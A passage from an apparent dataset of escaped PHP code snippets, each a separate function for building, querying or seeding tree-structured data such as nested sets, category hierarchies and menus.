(isset($children[$table]))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$ckeycol = $this->ds->children[$child_id]->child_key;\r\n\t\t\t\t\t\t$pid = $node->data[\"{$table}_{$ckeycol}\"];\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse $pid = 0;\r\n\r\n\t\t\t\t\t$node->data['_child'] = $child_id;\r\n\r\n\t\t\t\t\tif ($pid != 0)\r\n\t\t\t\t\t\t$flats[$this->ds->table][$pid]->children[] = $node;\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t$tree->children[] = $node;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t# Put child table children above related children, helps to\r\n\t\t\t# understand the display.\r\n\t\t\tif (count($this->ds->children) > 0) $this->FixTree($tree);\r\n\t\t\treturn $tree;\r\n\t\t}\r\n\t\treturn null;\r\n\t}", "protected function toQuery()\n\t{\n\t\treturn $this->mapper()->all($this->entityName(), $this->conditions())->order($this->relationOrder())->first();\n\t}", "public function query() {\n\n // new, more inclusive\n $query = parent::query();\n // Add in book parent child relationships.\n $query->leftJoin('book', 'b', 'n.nid = b.nid');\n $query->addField('b', 'bid', 'book_id');\n $query->leftJoin('menu_links', 'ml', 'b.mlid = ml.mlid');\n $query->addField('ml', 'weight', 'book_weight');\n $query->addField('ml', 'mlid', 'mlid');\n $query->addField('ml', 'plid', 'plid');\n $query->orderBy('mlid');\n\n // dpq($query);\n return $query;\n }", "public function getPageTree () {\r\n $query = \"SELECT * FROM \" . DBP . \"vw_pageTree AS pageTree WHERE languageId = :lang\";\r\n $queryParams = array (\r\n ':lang' => Config::read ('defaultLang')\r\n );\r\n $result = $this->_preparedQuery ($query, $queryParams, __FILE__, __LINE__);\r\n return $this->buildPageTree ($result);\r\n }", "public function roots()\n {\n $sql = \"SELECT * FROM $this->_table_name\n WHERE \n $this->left_column = 1\n ORDER BY \". $this->_sorting[0] .\" \". $this->_sorting[1] .\"\n \";\n $result = $this->_db->query($sql);\n return $this->factory_set($result);\n }", "private function _getTree()\r\n {\r\n $items = $this->setArray($this->getItems());\r\n $tree = $this->_buildTree($items);\r\n return $tree;\r\n }", "function get_categories_tree() {\n\t\tglobal $db;\n\t\t$sql = \" SELECT id, name, parent_id AS parent_id \n\t\t\t\tFROM \" . $this->table_category;\n\t\t$db->query ( $sql );\n\t\t$categories = $db->getObjectList ();\n\t\t\n\t\t$tree = FSFactory::getClass ( 'tree', 'tree/' );\n\t\t$rs = $tree->indentRows ( $categories, 1 );\n\t\treturn $rs;\n\t}", "function reorder_nodes()\n\t{\n\t\t\n\t\t// @todo introduce some tests here to make sure data is a valid nested set etc.\n\t\t// completely reliant on clean outut from js here\n\t\t\n\t\t$tree_id = $this->EE->input->get_post('tree_id');\n\n\t\t$this->EE->ttree->check_tree_table_exists($tree_id);\n\t\t\n\t\t$tree_settings = $this->EE->ttree->get_tree_settings($tree_id);\n\t\t\n\t\t$sent_last_updated = $this->EE->input->get_post('last_updated');\n\n\t\tif($sent_last_updated != $tree_settings['last_updated'])\n\t\t{\n\t\t\t$resp['data'] = 'last_update_mismatch';\t\n\t\t\t$this->EE->output->send_ajax_response($resp);\n\t\t}\n\n\t\t$node_id = '';\n\t\t$lft = '';\n\t\t$rgt = '';\n\n\t\t$taxonomy_order = $this->EE->input->get_post('taxonomy_order');\n\t\t$taxonomy_order = rtrim($taxonomy_order, '|');\n\n\t\tif($taxonomy_order)\n\t\t{\n\t\t\t$m = explode(\"|\", $taxonomy_order);\n\t\t\t\n\t\t\t$lq = \"LOCK TABLE exp_taxonomy_tree_\".$tree_id.\" WRITE\";\n\t\t\t$res = $this->EE->db->query($lq);\n\n\t\t\tforeach($m as $items)\n\t\t\t{\n\n\t\t\t\t$item = explode(',', $items);\n\t\t\t\t\n\t\t\t\tif(isset($item[0]) && $item[0] != '')\n\t\t\t\t{\n\t\t\t\t\t$node_id \t= str_replace(\"id:\", \"\", $item[0]);\n\t\t\t\t\t$lft\t\t= str_replace(\"lft:\", \"\", $item[1]);\n\t\t\t\t\t$rgt \t\t= str_replace(\"rgt:\", \"\", $item[2]);\n\t\t\t\t}\n\n \tif($node_id != 'root')\n \t{\n\t \t $data = array(\n\t\t 'node_id' \t=> $node_id,\n\t\t 'lft' \t\t=> $lft,\n\t\t 'rgt' \t\t=> $rgt\n\t \t);\n\t \t\n\t \t$this->EE->db->where('node_id', $node_id);\n\t\t\t\t\t$this->EE->db->update('exp_taxonomy_tree_'.$tree_id, $data);\n\t \t\n\t }\n\t \n\t if($node_id == 'root')\n \t{\n\t \t $data = array(\n\t\t 'lft' \t\t=> $lft,\n\t\t 'rgt' \t\t=> $rgt\n\t \t);\n\t \t\n\t \t$this->EE->db->where('lft', $lft);\n\t\t\t\t\t$this->EE->db->update('exp_taxonomy_tree_'.$tree_id, $data);\n\t \t\n\t }\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t$ulq = \"UNLOCK TABLES\";\n\t\t\t$res = $this->EE->db->query($ulq);\n\t\t\t\n\t\t\t\n\t\t}\n\t\t\n\t\t// update the last_updated timestamp\n\t\t$this->EE->ttree->set_last_update_timestamp($tree_id);\n\t\t\n\t\t// last_updated timestamp has been updated, so fetch again.\n\t\tunset($this->EE->session->cache['taxonomy']['tree'][$tree_id]['settings']);\n\t\t$tree_settings = $this->EE->ttree->get_tree_settings($tree_id);\n\t\t\n\t\t$resp['data'] = 'Node order updated';\n\t\t$resp['last_updated'] = $tree_settings['last_updated'];\n\t\t\n\t\tunset($data);\n\t\t\n\t\t// update our stashed tree array\n\t\t$this->EE->ttree->rebuild_tree_array($tree_id);\n\t\t$this->EE->output->send_ajax_response($resp);\t\n\n\t}", "public function tree()\n {\n// try {\n $root = $this->model->root();\n if ($root) {\n $items = $root->getDescendants();\n }\n\n $items = $this->recursiveNestable($items->toArray(), $root->id);\n\n return view('admin.menus.tree', compact('items', 'root'))->with('parentId', $root->id);\n// } catch (Exception $e) {\n// return $this->returnWithError($e->getMessage());\n// }\n }", "protected function initTree()\n {\n Table9Peer::doDeleteAll();\n $ret = array();\n // shuffling the results so the db order is not the natural one\n $fixtures = array(\n 't2' => array(2, 3, 1),\n 't5' => array(7, 12, 2),\n 't4' => array(5, 6, 2),\n 't7' => array(10, 11, 3),\n 't1' => array(1, 14, 0),\n 't6' => array(8, 9, 3),\n 't3' => array(4, 13, 1),\n );\n /* in correct order, this is:\n 't1' => array(1, 14, 0),\n 't2' => array(2, 3, 1),\n 't3' => array(4, 13, 1),\n 't4' => array(5, 6, 2),\n 't5' => array(7, 12, 2),\n 't6' => array(8, 9, 3),\n 't7' => array(10, 11, 3),\n */\n foreach ($fixtures as $key => $data) {\n $t = new PublicTable9();\n $t->setTitle($key);\n $t->setLeftValue($data[0]);\n $t->setRightValue($data[1]);\n $t->setLevel($data[2]);\n $t->save();\n $ret[$key]= $t;\n }\n // reordering the results in the fixtures\n ksort($ret);\n\n return array_values($ret);\n }", "public function getRootNodes()\n {\n return $this->getNodes($this->qbFactory\n ->getRootNodeQueryBuilder()\n ->getQuery()\n ->getResult());\n }", "public function buildMenuTree()\n {\n $menu = new Menu\\Menu('menuTree');\n\n // Top level.\n $this->p1 = $menu->addItem(new Menu\\Item('p.1'));\n $this->p2 = $menu->addItem(new Menu\\Item('p.2'));\n\n // First level (p1).\n $this->c11 = $this->p1->addChild(new Menu\\Item('c.1.1'));\n $this->c12 = $this->p1->addChild(new Menu\\Item('c.1.2'));\n\n // First level (p2).\n $this->c21 = $this->p2->addChild(new Menu\\Item('c.2.1'));\n $this->c22 = $this->p2->addChild(new Menu\\Item('c.2.2'));\n $this->c23 = $this->p2->addChild(new Menu\\Item('c.2.3'));\n\n // Second level (c.1.1).\n $this->c111 = $this->c11->addChild(new Menu\\Item('c.1.1'));\n }", "public function dropdown_tree() {\n $args = func_get_args();\n list($key, $value, $parent) = $args;\n\n $result = $this->db->select(array($key, $value, $parent))->get($this->_table())->result();\n\n $options = array();\n foreach ($result as $row) {\n $options[] = array(\n 'id'=>$row->{$key},\n 'name'=>$row->{$value},\n 'parent'=>$row->{$parent},\n );\n }\n return $options;\n }", "public function getTree() {\n\n $servers = Hash::extract($this->find('all', array(\n 'fields' => array(\n 'server_id', 'name', 'short_name', 'parent_id'\n )\n )), '{n}.Server');\n\n $tree = array();\n\n foreach ($servers as $server) {\n\n $parent_id = $server['parent_id'];\n\n if (empty($parent_id)) {\n\n $server_id = $server['server_id'];\n\n if (empty($tree[$server_id])) {\n $tree[$server_id] = $server;\n } else {\n $tree[$server_id] = array_merge($tree[$server_id], $server);\n }\n\n } else {\n\n if (empty($tree[$parent_id])) {\n $tree[$parent_id] = array(\n 'children' => array($server)\n );\n } else if (empty($tree[$parent_id]['children'])) {\n $tree[$parent_id]['children'] = array($server);\n } else {\n $tree[$parent_id]['children'][] = $server;\n }\n }\n }\n\n return $tree;\n }", "public function getNodeDescendantsQueryBuilder(NodeInterface $node)\n {\n $qb = $this->getNodeTreeQueryBuilder();\n $qb->where('c.lft > :lft AND c.rgt < :rgt')\n ->setParameter('lft', $node->getLeft())\n ->setParameter('rgt', $node->getRight());\n\n return $qb;\n }", "protected function createAddEmptyNodeQuery()\n {\n $db = $this->dbh;\n\n $q = $db->createInsertQuery();\n $q->insertInto( $db->quoteIdentifier( $this->indexTableName ) )\n ->set( 'parent_id', $q->bindValue( null ) );\n\n return $q;\n }", "public function getTrees() {}", "public function buildSortQuery(): Builder\n {\n return static::query()->where('repository_id', $this->repository_id);\n }", "public function treeDataProvider()\n {\n $catData = [\n [\n 'id' => 'cat1',\n 'active' => true,\n 'sort' => 1,\n 'left' => 2,\n 'parent_id' => 'oxrootid',\n 'level' => 1,\n ],\n [\n 'id' => 'cat2',\n 'active' => true,\n 'sort' => 2,\n 'left' => 8,\n 'parent_id' => 'oxrootid',\n 'level' => 1,\n ],\n [\n 'id' => 'cat3',\n 'active' => true,\n 'sort' => 1,\n 'left' => 1,\n 'parent_id' => 'oxrootid',\n 'level' => 1,\n 'current' => true,\n 'expanded' => true,\n ],\n [\n 'id' => 'cat4',\n 'active' => true,\n 'sort' => 1,\n 'left' => 3,\n 'parent_id' => 'oxrootid',\n 'level' => 1,\n ],\n [\n 'id' => 'cat41',\n 'active' => true,\n 'sort' => 1,\n 'left' => 4,\n 'parent_id' => 'cat4',\n 'level' => 2,\n ],\n [\n 'id' => 'cat42',\n 'active' => true,\n 'sort' => 1,\n 'left' => 5,\n 'parent_id' => 'cat4',\n 'level' => 2,\n ],\n [\n 'id' => 'cat421',\n 'active' => true,\n 'sort' => 2,\n 'left' => 7,\n 'parent_id' => 'cat42',\n 'level' => 3,\n ],\n [\n 'id' => 'cat422',\n 'active' => true,\n 'sort' => 1,\n 'left' => 6,\n 'parent_id' => 'cat42',\n 'level' => 3,\n ],\n [\n 'id' => 'cat5',\n 'active' => true,\n 'sort' => 1,\n 'left' => 3,\n 'parent_id' => 'oxrootid',\n 'level' => 1,\n ],\n [\n 'id' => 'cat6',\n 'active' => true,\n 'sort' => 1,\n 'left' => 9,\n 'parent_id' => 'oxrootid',\n 'level' => 1,\n ],\n ];\n\n $data = [];\n foreach ($catData as $category) {\n $data[$category['id']] = $this->buildCategory($category);\n }\n\n return [['data' => $data]];\n }", "function get_nodes()\n {\n\n \tif( !isset($this->cache['trees'][$this->tree_id]['nodes']))\n \t{\n \t\tee()->db->select('*');\n\t\t\tee()->db->from( $this->tree_table );\n\t\t\tee()->db->join('channel_titles', 'channel_titles.entry_id = '.$this->tree_table.'.entry_id', 'left');\n\t\t\tee()->db->join('statuses', 'statuses.status = channel_titles.status', 'left');\n \t\t$nodes = ee()->db->get()->result_array();\n\n \t\t// map field names => type\n\t\t\t$cf_map = array();\n\t\t\tforeach( $this->cache['trees'][$this->tree_id]['fields'] as $cf)\n\t\t\t{\n\t\t\t $cf_map[$cf['name']] = $cf['type'];\n\t\t\t}\n\n \t\t// reindex with node ids as keys\n \t\t$node_data = $entry_data = array();\n \t\tforeach($nodes as $node)\n \t\t{\n \t\t\t// if the node is associated with an entry\n \t\t\t// create another index for those\n \t\t\tif($node['entry_id'])\n \t\t\t{\n \t\t\t\t$entry_data[ $node['entry_id'] ] = $node['node_id'];\n \t\t\t}\n\n \t\t\tif($node['type'] != '')\n \t\t\t{\n \t\t\t\t$node['type'] = explode('|', $node['type']);\n \t\t\t}\n \t\t\telse\n \t\t\t{\n \t\t\t\t$node['type'] = array();\n \t\t\t}\n\n \t\t\tif(!empty($node['field_data']))\n \t\t\t{\n \t\t\t\tee()->load->library('taxonomy_field_lib');\n \t\t\t\t$node['field_data'] = json_decode($node['field_data'], TRUE);\n \t\t\t\tforeach($node['field_data'] as $k => $v)\n \t\t\t\t{\n \t\t\t\t\t// this should apply to front end template parsing only \n \t\t\t\t\t$callers = debug_backtrace();\n \t\t\t\t\tif ( isset($callers[2]['function']) && $callers[2]['function'] == 'process_tags' && isset($cf_map[$k]))\n \t\t\t\t\t{\n \t\t\t\t\t\t\n \t\t\t\t\t\t$ft = ee()->taxonomy_field_lib->load($cf_map[$k]);\n \t\t\t\t\t\t// let the fieldtype change the final value\n \t\t\t$v = $ft->replace_value($v);\n \t\t\t// overwrite value\n \t\t\t$node['field_data'][$k] = $v;\n \t\t\t\t\t\t\n \t\t\t\t\t\t\n \t\t\t\t\t}\n \t\t\t\t\t$node[$k] = $v;\n \t\t\t\t}\n \t\t\t}\n\n \t\t\t$node_data[ $node['node_id'] ] = $node;\n \t\t\t$node_data[ $node['node_id'] ]['url'] = $this->build_url($node);\n \t\t\t\n \t\t}\n\n \t\t$this->cache['trees'][$this->tree_id]['nodes']['by_node_id'] = $node_data;\n \t\t$this->cache['trees'][$this->tree_id]['nodes']['by_entry_id'] = $entry_data;\n \t}\n\n \treturn $this->cache['trees'][$this->tree_id]['nodes'];\n\n }", "public function scopeBreadthFirst(Builder $query): Builder\n {\n return $query->orderBy($this->getDepthName());\n }", "public function build()\n {\n\n if ($this->html)\n return $this->html;\n\n if (count($this->data) == 0) {\n $this->html .= '<ul id=\"'.$this->id.'\" class=\"wgt_tree\" >'.NL;\n $this->html .= '</ul>'.NL;\n\n return $this->html;\n }\n\n $html = '';\n\n $html .= '<ul id=\"'.$this->id.'\" class=\"wgt_tree\" >'.NL;\n\n\n foreach ($this->data as $id => $row) {\n\n $entry = $this->buildTreeNode($row);\n\n $html .= <<<HTML\n<li id=\"{$this->id}_{$id}\" >\n\n {$entry}\n <ul id=\"{$this->id}_{$id}_tree\" ></ul>\n\n</li>\n\nHTML;\n\n\n }\n\n $html .= '</ul>'.NL;\n\n\n $this->html = $html;\n\n return $this->html;\n\n }", "public function getChildrenQuery();", "function _build_tree_select($params)\n\t{\n\t\t$params = array_merge(array(\n\t\t\t'tree'\t\t\t=> array(),\n\t\t\t'parent_id'\t\t=> 0,\n\t\t\t'current_parent'=> 0,\n\t\t\t'current_id'\t=> 0,\n\t\t\t'level'\t\t\t=> 0\n\t\t), $params);\n\n\t\textract($params);\n\n\t\tif ( ! $tree)\n\t\t{\n\t\t\tif ($pages = $this->db->select('id, parent_id, title')->get('pages')->result())\n\t\t\t{\n\t\t\t\tforeach($pages as $page)\n\t\t\t\t{\n\t\t\t\t\t$tree[$page->parent_id][] = $page;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ( ! isset($tree[$parent_id]))\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\t$html = '';\n\n\t\tforeach ($tree[$parent_id] as $item)\n\t\t{\n\t\t\tif ($current_id == $item->id)\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$html .= '<option value=\"' . $item->id . '\"';\n\t\t\t$html .= $current_parent == $item->id ? ' selected=\"selected\">': '>';\n\n\t\t\tif ($level > 0) \n\t\t\t{\n\t\t\t\tfor ($i = 0; $i < ($level*2); $i++)\n\t\t\t\t{\n\t\t\t\t\t$html .= '&nbsp;';\n\t\t\t\t}\n\n\t\t\t\t$html .= '-&nbsp;';\n\t\t\t}\n\n\t\t\t$html .= $item->title . '</option>';\n\n\t\t\t$html .= $this->_build_tree_select(array(\n\t\t\t\t'tree'\t\t\t=> $tree,\n\t\t\t\t'parent_id'\t\t=> (int) $item->id,\n\t\t\t\t'current_parent'=> $current_parent,\n\t\t\t\t'current_id'\t=> $current_id,\n\t\t\t\t'level'\t\t\t=> $level + 1\n\t\t\t));\n\t\t}\n\n\t\treturn $html;\n\t}", "public function getCategoryTree() {\n $categories = TableRegistry::get('Categories');\n\n $first_level_categories = $categories->find()->select([\n 'id',\n 'title',\n 'slug'\n ])->where([\n 'level' => '0',\n 'status' => '1'\n ])->toArray();\n\n $second_level_categories = $categories->find()->select([\n 'id',\n 'title',\n 'parent_id',\n 'slug'\n ])->where([\n 'level' => '1',\n 'status' => '1'\n ])->toArray();\n\n $second_category_array = array();\n\n foreach ($second_level_categories as $second_category) {\n // $second_category_array[$second_category['parent_id']] = array();\n if (!is_array($second_category_array [$second_category ['parent_id']]))\n $second_category_array [$second_category ['parent_id']] = array();\n $second_category_array [$second_category ['parent_id']] [] = $second_category;\n }\n\n $third_level_categories = $categories->find()->select([\n 'id',\n 'title',\n 'parent_id',\n 'slug'\n ])->where([\n 'level' => '2',\n 'status' => '1'\n ])->toArray();\n\n $third_category_array = array();\n\n foreach ($third_level_categories as $third_category) {\n // $second_category_array[$second_category['parent_id']] = array();\n if (!is_array($third_category_array [$third_category ['parent_id']]))\n $third_category_array [$third_category ['parent_id']] = array();\n $third_category_array [$third_category ['parent_id']] [] = $third_category;\n }\n\n return [\n $first_level_categories,\n $second_category_array,\n $third_category_array\n ];\n }", "public static function fetchAll()\n {\n $sth = self::$db->prepare('\n SELECT n.node_id AS id, n.node_title AS title, n.node_type AS type,\n n.parent_node_id AS parent, n.coefficient\n FROM nodes AS n\n ');\n \n $sth->execute();\n \n $result = array();\n while ( $data = $sth->fetch(PDO::FETCH_ASSOC) )\n $result[] = self::exchange($data);\n return $result;\n }", "protected function initTreeWithScope()\n {\n Table10Peer::doDeleteAll();\n $ret = array();\n $fixtures = array(\n 't1' => array(1, 14, 0, 1),\n 't2' => array(2, 3, 1, 1),\n 't3' => array(4, 13, 1, 1),\n 't4' => array(5, 6, 2, 1),\n 't5' => array(7, 12, 2, 1),\n 't6' => array(8, 9, 3, 1),\n 't7' => array(10, 11, 3, 1),\n 't8' => array(1, 6, 0, 2),\n 't9' => array(2, 3, 1, 2),\n 't10' => array(4, 5, 1, 2),\n );\n foreach ($fixtures as $key => $data) {\n $t = new PublicTable10();\n $t->setTitle($key);\n $t->setLeftValue($data[0]);\n $t->setRightValue($data[1]);\n $t->setLevel($data[2]);\n $t->setScopeValue($data[3]);\n $t->save();\n $ret []= $t;\n }\n\n return $ret;\n }", "function generateallActiveTreeArray() {\n $tree = array();\n $this->db->select('id,name,shortdesc,status,parentid,page_uri,orderr');\n $this->db->where ('status','active');\n $this->db->order_by('parentid asc, orderr asc');\n $query = $this->db->get('adminmenu');\n if ($query->num_rows() > 0) {\n foreach ($query->result() as $row) {\n $index = (isset($tree[$row->parentid]))?count($tree[$row->parentid]):0; \n $tree[$row->parentid][$index] = $row;\n }\n }\n \n return $tree;\n }", "public function tree()\n {\n return view('EmployeeTreeview.index',['employees'=>$this->makeArray(Employees::getEmployeesAll())]);\n }", "function get_categories_tree()\n\t\t{\n\t\t\t$where = '';\n\t\t\t$is_accessory = FSInput::get('is_accessory',0,'int');\n\t\t\tif($is_accessory){\n\t\t\t\t$where .= ' AND is_accessories = 0 ';\n\t\t\t} else {\n\t\t\t\t$where .= ' AND is_accessories = 1 ';\n\t\t\t}\n\t\t\t\n\t\t\tglobal $db ;\n\t\t\t$sql = \" SELECT id, name, parent_id AS parentid \n\t\t\t\tFROM fs_products_categories \n\t\t\t\tWHERE 1 = 1\n\t\t\t\t\".$where;\n\t\t\t// $db->query($sql);\n\t\t\t$categories = $db->getObjectList($sql);\n\t\t\t\n\t\t\t$tree = FSFactory::getClass('tree','tree/');\n\t\t\t$rs = $tree -> indentRows($categories,1); \n\t\t\treturn $rs;\n\t\t}", "public function getChildren()\n {\n return $this\n ->hasMany(MenuItem::class, ['menuId' => 'id'])\n ->andWhere(['is', 'parentId', null])\n ->orderBy(['order' => SORT_ASC]);\n }", "public function getTree($with_products = true): Collection\n {\n $categories = $this->realGetMany($this->query(), $with_products);\n $nodes = $categories->toTree();\n\n return $nodes;\n }", "public function findNodes($parentId=null)\n {\n return $this->getNodesQueryBuilder($parentId)->getQuery()->getResult();\n }", "public function toTree()\n {\n throw new RuntimeException('This repository does not support \"toTree\" method.');\n }", "public function getNodeOrderBy()\n {\n return $this->prototype->getNodeOrderBy();\n }", "public function getSearchableEntitiesQuery(): \\Illuminate\\Database\\Eloquent\\Builder\n {\n return (new static())->orderBy($this->getKeyName());\n }", "protected function getQuery() {\n $query = new Query();\n if($this->valid()) {\n $query->setQuery(new GtNode($this->dataStore->getIdentifier(), $this->key()));\n }\n $query->setLimit(new LimitNode($this->limit));\n $query->setSort(new SortNode([\n $this->dataStore->getIdentifier() => SortNode::SORT_ASC\n ]));\n return $query;\n }", "public function query()\n {\n return $this->model\n ->newQuery()\n ->with(['translations'])\n ->orderBy('order_column')\n ->nonDraft();\n }", "protected function get_ordered_records()\n\t{\n\t\t$records = array();\n\n\t\t$ordering = function(array $branch) use(&$ordering, &$records) {\n\n\t\t\tforeach ($branch as $node)\n\t\t\t{\n\t\t\t\t$records[$node->nid] = $node->record;\n\n\t\t\t\tif ($node->children)\n\t\t\t\t{\n\t\t\t\t\t$ordering($node->children);\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\n\t\t$node = current($this->index);\n\n\t\tif (empty($node->record))\n\t\t{\n\t\t\t$this->populate();\n\t\t}\n\n\t\t$ordering($this->tree);\n\n\t\treturn $records;\n\t}", "public function query() {\n $query = parent::query();\n // Add in book parent child relationships.\n $query->join('book', 'b', 'n.nid = b.nid');\n $query->addField('b', 'bid', 'book_id');\n $query->join('menu_links', 'ml', 'b.mlid = ml.mlid');\n $query->isNotNull('ml.mlid');\n $query->addField('ml', 'weight', 'book_weight');\n return $query;\n }", "public function run()\n {\n $nodes = [\n ['id' => 1, 'name' => 'Organization','parent_id' => null],\n ['id' => 2, 'name' => 'School A', 'parent_id' => 1],\n ['id' => 3, 'name' => 'Classroom A','parent_id' => 2],\n ['id' => 4, 'name' => 'Family AA', 'parent_id' => 3],\n ['id' => 5, 'name' => 'Family AB', 'parent_id' => 3],\n ['id' => 6, 'name' => 'Node AAA', 'parent_id' => 4],\n ['id' => 7, 'name' => 'Node AAB', 'parent_id' => 6],\n ['id' => 8, 'name' => 'Node ABA', 'parent_id' => 5],\n ['id' => 9, 'name' => 'Node ABB', 'parent_id' => 8],\n\n ['id' => 10, 'name' => 'School B', 'parent_id' => 1],\n ['id' => 11, 'name' => 'Classroom BA','parent_id' => 10],\n ['id' => 12, 'name' => 'Family BA', 'parent_id' => 11],\n ['id' => 13, 'name' => 'Family BB', 'parent_id' => 11],\n ['id' => 14, 'name' => 'Classroom BB', 'parent_id' => 10],\n\n ['id' => 15, 'name' => 'School C', 'parent_id' => 1],\n ['id' => 16, 'name' => 'Classroom CA','parent_id' => 15],\n ['id' => 17, 'name' => 'Family CA', 'parent_id' => 16],\n ['id' => 18, 'name' => 'Family CB', 'parent_id' => 16],\n ['id' => 19, 'name' => 'Classroom CB', 'parent_id' => 15]\n ];\n\n foreach ($nodes as $node)\n {\n Node::create($node);\n }\n\n\n }", "function get_trees()\n\t{\n\n\t\tif(!isset($this->cache['trees']))\n\t\t{\n\n\t\t\tee()->db->order_by('label', 'asc');\n\t\t\t$trees = ee()->db->get_where('taxonomy_trees', array('site_id' => $this->site_id) )->result_array();\n\t\t\t// reindex with node ids as keys\n\t\t\t$data = array();\n\t\t\tforeach($trees as $tree)\n\t\t\t{\n\t\t\t\t$data[ $tree['id'] ] = $tree;\n\t\t\t\t$data[ $tree['id'] ]['templates'] = explode('|', $tree['templates']);\n\t\t\t\t$data[ $tree['id'] ]['channels'] = explode('|', $tree['channels']);\n\t\t\t\t$data[ $tree['id'] ]['member_groups'] = explode('|', $tree['member_groups']);\n\t\t\t\t$data[ $tree['id'] ]['fields'] = ($tree['fields']) ? json_decode($tree['fields'], TRUE) : array();\n\t\t\t\t$data[ $tree['id'] ]['taxonomy'] = ($tree['taxonomy']) ? json_decode($tree['taxonomy'], TRUE) : '';\n\t\t\t}\n\n\t\t\t$this->cache['trees'] = $data;\n\n\t\t}\n\n \treturn $this->cache['trees'];\n\t}", "public function getTree()\n {\n return HandbookCategory::all()->toTree();\n }", "public function findTreeList(\n SelectQuery $query,\n Closure|string|null $keyPath = null,\n Closure|string|null $valuePath = null,\n ?string $spacer = null\n ): SelectQuery {\n $left = $this->_table->aliasField($this->getConfig('left'));\n\n $results = $this->_scope($query)\n ->find('threaded', parentField: $this->getConfig('parent'), order: [$left => 'ASC']);\n\n return $this->formatTreeList($results, $keyPath, $valuePath, $spacer);\n }", "public function run()\n {\n DB::table('binary_tree_nodes')->insert([\n [\n 'parent_id' => null, //1\n 'team_id' => 1,\n 'root_node_id' => 1,\n 'user_id' => 1,\n 'is_active' => true,\n 'is_blocked' => false,\n 'is_free' => false,\n 'is_blocked_global' => false,\n 'is_free_global' => false,\n ],\n [\n 'parent_id' => 1, // 2\n 'team_id' => 1,\n 'root_node_id' => 1,\n 'user_id' => 1,\n 'is_active' => true,\n 'is_blocked' => false,\n 'is_free' => false,\n 'is_blocked_global' => false,\n 'is_free_global' => false,\n ],\n [\n 'parent_id' => 1, // 3\n 'team_id' => 2,\n 'root_node_id' => 1,\n 'user_id' => 1,\n 'is_active' => true,\n 'is_blocked' => false,\n 'is_free' => false,\n 'is_blocked_global' => false,\n 'is_free_global' => false,\n ],\n [\n 'parent_id' => 2, // 4\n 'team_id' => 1,\n 'root_node_id' => 4,\n 'user_id' => null,\n 'is_active' => false,\n 'is_blocked' => false,\n 'is_free' => true,\n 'is_blocked_global' => false,\n 'is_free_global' => true,\n ],\n [\n 'parent_id' => 2, // 5\n 'team_id' => 2,\n 'root_node_id' => 5,\n 'user_id' => null,\n 'is_active' => false,\n 'is_blocked' => true,\n 'is_free' => false,\n 'is_blocked_global' => true,\n 'is_free_global' => false,\n ],\n [\n 'parent_id' => 3, // 6\n 'team_id' => 1,\n 'root_node_id' => 6,\n 'user_id' => null,\n 'is_active' => false,\n 'is_blocked' => true,\n 'is_free' => false,\n 'is_blocked_global' => true,\n 'is_free_global' => false,\n ],\n [\n 'parent_id' => 3, // 7\n 'team_id' => 2,\n 'root_node_id' => 7,\n 'user_id' => null,\n 'is_active' => false,\n 'is_blocked' => true,\n 'is_free' => false,\n 'is_blocked_global' => true,\n 'is_free_global' => false,\n ],\n [\n 'parent_id' => 4, // 8\n 'team_id' => 1,\n 'root_node_id' => 4,\n 'user_id' => null,\n 'is_active' => false,\n 'is_blocked' => true,\n 'is_free' => false,\n 'is_blocked_global' => true,\n 'is_free_global' => false,\n ],\n [\n 'parent_id' => 4, // 9\n 'team_id' => 2,\n 'root_node_id' => 4,\n 'user_id' => null,\n 'is_active' => false,\n 'is_blocked' => true,\n 'is_free' => false,\n 'is_blocked_global' => true,\n 'is_free_global' => false,\n ],\n [\n 'parent_id' => 5, // 10\n 'team_id' => 1,\n 'root_node_id' => 5,\n 'user_id' => null,\n 'is_active' => false,\n 'is_blocked' => true,\n 'is_free' => false,\n 'is_blocked_global' => true,\n 'is_free_global' => false,\n ],\n [\n 'parent_id' => 5, // 11\n 'team_id' => 2,\n 'root_node_id' => 5,\n 'user_id' => null,\n 'is_active' => false,\n 'is_blocked' => true,\n 'is_free' => false,\n 'is_blocked_global' => true,\n 'is_free_global' => false,\n ],\n [\n 'parent_id' => 6, // 12\n 'team_id' => 1,\n 'root_node_id' => 6,\n 'user_id' => null,\n 'is_active' => false,\n 'is_blocked' => true,\n 'is_free' => false,\n 'is_blocked_global' => true,\n 'is_free_global' => false,\n ],\n [\n 'parent_id' => 6, // 13\n 'team_id' => 2,\n 'root_node_id' => 6,\n 'user_id' => null,\n 'is_active' => false,\n 'is_blocked' => true,\n 'is_free' => false,\n 'is_blocked_global' => true,\n 'is_free_global' => false,\n ],\n [\n 'parent_id' => 7, // 14\n 'team_id' => 1,\n 'root_node_id' => 7,\n 'user_id' => null,\n 'is_active' => false,\n 'is_blocked' => true,\n 'is_free' => false,\n 'is_blocked_global' => true,\n 'is_free_global' => false,\n ],\n [\n 'parent_id' => 7, // 15\n 'team_id' => 2,\n 'root_node_id' => 7,\n 'user_id' => null,\n 'is_active' => false,\n 'is_blocked' => true,\n 'is_free' => false,\n 'is_blocked_global' => true,\n 'is_free_global' => false,\n ],\n ]);\n }", "public function getQueryBuilder()\n {\n if (null === $this->queryBuilder) {\n\n $queryBuilder = $this->generator->list->query_builder;\n\n if ( null !== $this->generator->list->query_builder\n && false !== $this->generator->list->query_builder\n && method_exists($this->getRepository(), $queryBuilder)) {\n $this->queryBuilder = $this->getRepository()->$queryBuilder();\n } else {\n $this->queryBuilder = $this->getRepository()->createQueryBuilder('e');\n }\n\n foreach ($this->sort as $field => $order) {\n $this->queryBuilder->addOrderBy('e.' . $field, $order);\n }\n\n $this->processFilters();\n\n }\n return $this->queryBuilder;\n }", "public function getChildNodes($c = null)\r\n {\r\n if ($c === null)\r\n {\r\n $c = new Criteria();\r\n }\r\n\r\n if (! $c->getOrderByColumns())\r\n {\r\n $c->addAscendingOrderByColumn(DmsNodePeer::NAME);\r\n }\r\n\r\n $c->add(DmsNodePeer::STORE_ID, $this->getId());\r\n $c->add(DmsNodePeer::PARENT_ID, null);\r\n\r\n return 